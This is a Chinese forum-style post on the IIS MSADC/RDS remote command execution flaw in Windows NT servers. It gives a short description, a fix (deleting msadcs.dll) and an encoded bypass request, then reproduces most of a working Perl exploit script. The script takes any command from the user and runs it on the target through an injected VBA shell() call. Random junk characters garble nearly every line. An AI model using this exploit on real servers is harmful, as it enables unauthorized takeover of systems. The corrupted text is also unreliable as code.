IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
%K|+4ZY3 -McDNM 涉及程序:
j[y,Jch Microsoft NT server
v a
j q&N1| f7 描述:
I&Y9 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
li
Hz5<| p^ojhrr 详细:
CEr*VsvjsU 如果你没有时间读详细内容的话,就删除:
gm}[`GMU c:\Program Files\Common Files\System\Msadc\msadcs.dll
o?\v
8.n 有关的安全问题就没有了。
&*3O+$L a}#Jcy!e 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
!>Ru= $9 nt*nTtcE 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
dl&402 关于利用ODBC远程漏洞的描述,请参看:
]iL>Zxex C=|X]"*:u0 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm H[KTM 'n D%NVqk| 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Ko|p&-Z; http://www.microsoft.com/security/bulletins/MS99-025faq.asp R"
'=^ :k*3?*'K 这里不再论述。
7y2-8eL L-v-KO6 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
fPLi8`r Q N$Ac.F /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
]t|- 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
1}"PLq( x%\m/_5w% 9?~K"+-SI #将下面这段保存为txt文件,然后: "perl -x 文件名"
6V@?/B >UUT9:,plA #!perl
L=9w
3VXS #
Ivue"_i;! # MSADC/RDS 'usage' (aka exploit) script
r=o\!sh[ #
+f- E8q # by rain.forest.puppy
g=)djXW #
AJ`R2
$ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
UAi] hUq # beta test and find errors!
540,A,>:tb -6./bB g use Socket; use Getopt::Std;
5o dtYI%L getopts("e:vd:h:XR", \%args);
n:P5m9T jLLZZPBK print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
+S3r]D3v/ {F~:86z(g if (!defined $args{h} && !defined $args{R}) {
f<T"# G$5 print qq~
5QoU&Hv Usage: msadc.pl -h <host> { -d <delay> -X -v }
4$=ATa;x- -h <host> = host you want to scan (ip or domain)
bBC!fh!L" -d <seconds> = delay between calls, default 1 second
UPI'O % -X = dump Index Server path table, if available
D^%DYp -v = verbose
V.k2t$@ -e = external dictionary file for step 5
XK 09x1r l~v
BA$, Or a -R will resume a command session
D>~S-] 6q!smM ~; exit;}
B1C"F-2d lx!9KQAM* $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
cqyrao3; if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
:O(<3"P/ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
s[HQq;S if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
u(`,7 o " $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
O)4P)KAO< if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
!ufSO9eDx" STxreW1 if (!defined $args{R}){ $ret = &has_msadc;
(Z72 3) die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
u3>Dvl@ s{]2~Z^2od print "Please type the NT commandline you want to run (cmd /c assumed):\n"
V9"?}cR/W; . "cmd /c ";
1*>lYd8_ $in=<STDIN>; chomp $in;
5U3b&0 $command="cmd /c " . $in ;
NpIx\\d 1tNmiAu if (defined $args{R}) {&load; exit;}
z&@Vg`w" ZrA
OX'>u9 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
z'FJx2 &try_btcustmr;
6*:mc b2Jgg&?G print "\nStep 2: Trying to make our own DSN...";
sP+ZE>7 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
HP
/@ _qk uk(|c-_]~c print "\nStep 3: Trying known DSNs...";
@zHTKi` &known_dsn;
pxs#OP %Z"I=;=nxI print "\nStep 4: Trying known .mdbs...";
#CaT0#v &known_mdb;
y_=},a u\JYxNj1 if (defined $args{e}){
MJ)aY2 print "\nStep 5: Trying dictionary of DSN names...";
qrj:H4#VB &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Ak\w)!?s ]qLro< print "Sorry Charley...maybe next time?\n";
:]viLw\&g exit;
{'QA0K \2K_"5 ##############################################################################
BZP~m=kq PJCRvs|X sub sendraw { # ripped and modded from whisker
V_SZp8 sleep($delay); # it's a DoS on the server! At least on mine...
jd&kak my ($pstr)=@_;
MMI7FlfY socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
;DkX"X+ die("Socket problems\n");
v/Z!Wp1LV if(connect(S,pack "SnA4x8",2,80,$target)){
.\?)O+J! select(S); $|=1;
2
P=c1; print $pstr; my @in=<S>;
"[*W=6m0 select(STDOUT); close(S);
1P'R-I return @in;
OC [ +t6 } else { die("Can't connect...\n"); }}
{y[T3(tt +])St3h ##############################################################################
qOV6Kh) pErre2fS sub make_header { # make the HTTP request
c%|18dV my $msadc=<<EOT
;LBq! POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
tyH*epanw User-Agent: ACTIVEDATA
{=Y.Z1E: Host: $ip
Ny.s
u?E Content-Length: $clen
m 8Q[+_:$H Connection: Keep-Alive
"2}E ARa #^>5,M2 ADCClientVersion:01.06
dh~+0FZ{A Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
tWNz:V C>?`1d@ --!ADM!ROX!YOUR!WORLD!
Rr#vv Content-Type: application/x-varg
wuv2bd )+ Content-Length: $reqlen
%Q}T9%Mtj k lRS:\dW EOT
K'`N(WiL ; $msadc=~s/\n/\r\n/g;
d `z),A= return $msadc;}
O=HT3gp& .[Z<r> ##############################################################################
{ws:g![ "v"w ER? sub make_req { # make the RDS request
483BrFV my ($switch, $p1, $p2)=@_;
P(1bd"Q my $req=""; my $t1, $t2, $query, $dsn;
pMB~Lt9 Sc<%$ Gd if ($switch==1){ # this is the btcustmr.mdb query
>lo,0oG $query="Select * from Customers where City=" . make_shell();
H!D?;X $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
\`|*i$ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
a-t}L{~ :\+;5Se+l elsif ($switch==2){ # this is general make table query
Tn~b#-0 $query="create table AZZ (B int, C varchar(10))";
8h&Ed=gi $dsn="$p1";}
Hd1e9Q,:| |kHPk)}I] elsif ($switch==3){ # this is general exploit table query
_$+lyea $query="select * from AZZ where C=" . make_shell();
.}}w@NO $dsn="$p1";}
FM c9oyU~ USKa6<:{W elsif ($switch==4){ # attempt to hork file info from index server
2qb,bp1$ $query="select path from scope()";
uqhNi!; $dsn="Provider=MSIDXS;";}
g|W|>`> t\hvhcbL elsif ($switch==5){ # bad query
\X=?+|
9 $query="select";
Z2yZz:.' $dsn="$p1";}
6wzTX8 X]?qns7 $t1= make_unicode($query);
!,mv 7Yj $t2= make_unicode($dsn);
1k5o?'3& $req = "\x02\x00\x03\x00";
u0;FQr2 $req.= "\x08\x00" . pack ("S1", length($t1));
xZ*.@Pkr $req.= "\x00\x00" . $t1 ;
Y5}<7s\UDO $req.= "\x08\x00" . pack ("S1", length($t2));
( aGwe@AS $req.= "\x00\x00" . $t2 ;
1!@KRV $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
S$!)Uc\)A return $req;}
;NrN#<j(! g4 BEo' ##############################################################################
edt(Zzk@3- A6APU><dm^ sub make_shell { # this makes the shell() statement
tN'-4<+ return "'|shell(\"$command\")|'";}
x"@Y[ 1D42+cy ##############################################################################
s2*^ PG &ACM:&Ob sub make_unicode { # quick little function to convert to unicode
N 798(" my ($in)=@_; my $out;
GW_@hYIqD for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
SBBDlr^P return $out;}
87P.K Yy lNcXBtwK@# ##############################################################################
OPp>z0p%6X VO|2 sub rdo_success { # checks for RDO return success (this is kludge)
/dU-$}>ZI my (@in) = @_; my $base=content_start(@in);
69U[kW& if($in[$base]=~/multipart\/mixed/){
qM(n]{H return 1 if( $in[$base+10]=~/^\x09\x00/ );}
k%iZ.. return 0;}
C:77~f-+rQ \:cr2 w'c ##############################################################################
#>m#i1Nu S7cxEOfAu sub make_dsn { # this makes a DSN for us
P
+U=/$o my @drives=("c","d","e","f");
26fbBt8nP print "\nMaking DSN: ";
#C+""qm foreach $drive (@drives) {
0hTv0#j# print "$drive: ";
TI{W(2O * my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
FFH9$>A "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
2k,!P6fgl . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
FcnSO0G% $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
)q?z"F| return 0 if $2 eq "404"; # not found/doesn't exist
#!wL0p if($2 eq "200") {
~ {sRK foreach $line (@results) {
%m:T?![XO return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
\de824 } return 0;}
JzA`*X[ IfHB+H
##############################################################################
/n=
%# { ,LjB%f[ sub verify_exists {
xP<cF my ($page)=@_;
<Z^t^ O my @results=sendraw("GET $page HTTP/1.0\n\n");
w$~|/UrLf return $results[0];}
s2t'jIB gf`uC0 ##############################################################################
&8R %W"<K g{&a|NU^ sub try_btcustmr {
H\tz"<*`` my @drives=("c","d","e","f");
GdFTKOq my @dirs=("winnt","winnt35","winnt351","win","windows");
"]}+QK_ ipB*]B F[ foreach $dir (@dirs) {
Las4ux[_ print "$dir -> "; # fun status so you can see progress
6,j6,Q(67 foreach $drive (@drives) {
JO:40V?op print "$drive: "; # ditto
k^3|A3A $reqlen=length( make_req(1,$drive,$dir) ) - 28;
`3!ERQU $reqlenlen=length( "$reqlen" );
38IVSK_ $clen= 206 + $reqlenlen + $reqlen;
#t
/.fd 3%Jg' Tr+ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
d[+ xLa if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
g>h5NrDN else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
jHPJk8@y
"j5b$T0P> ##############################################################################
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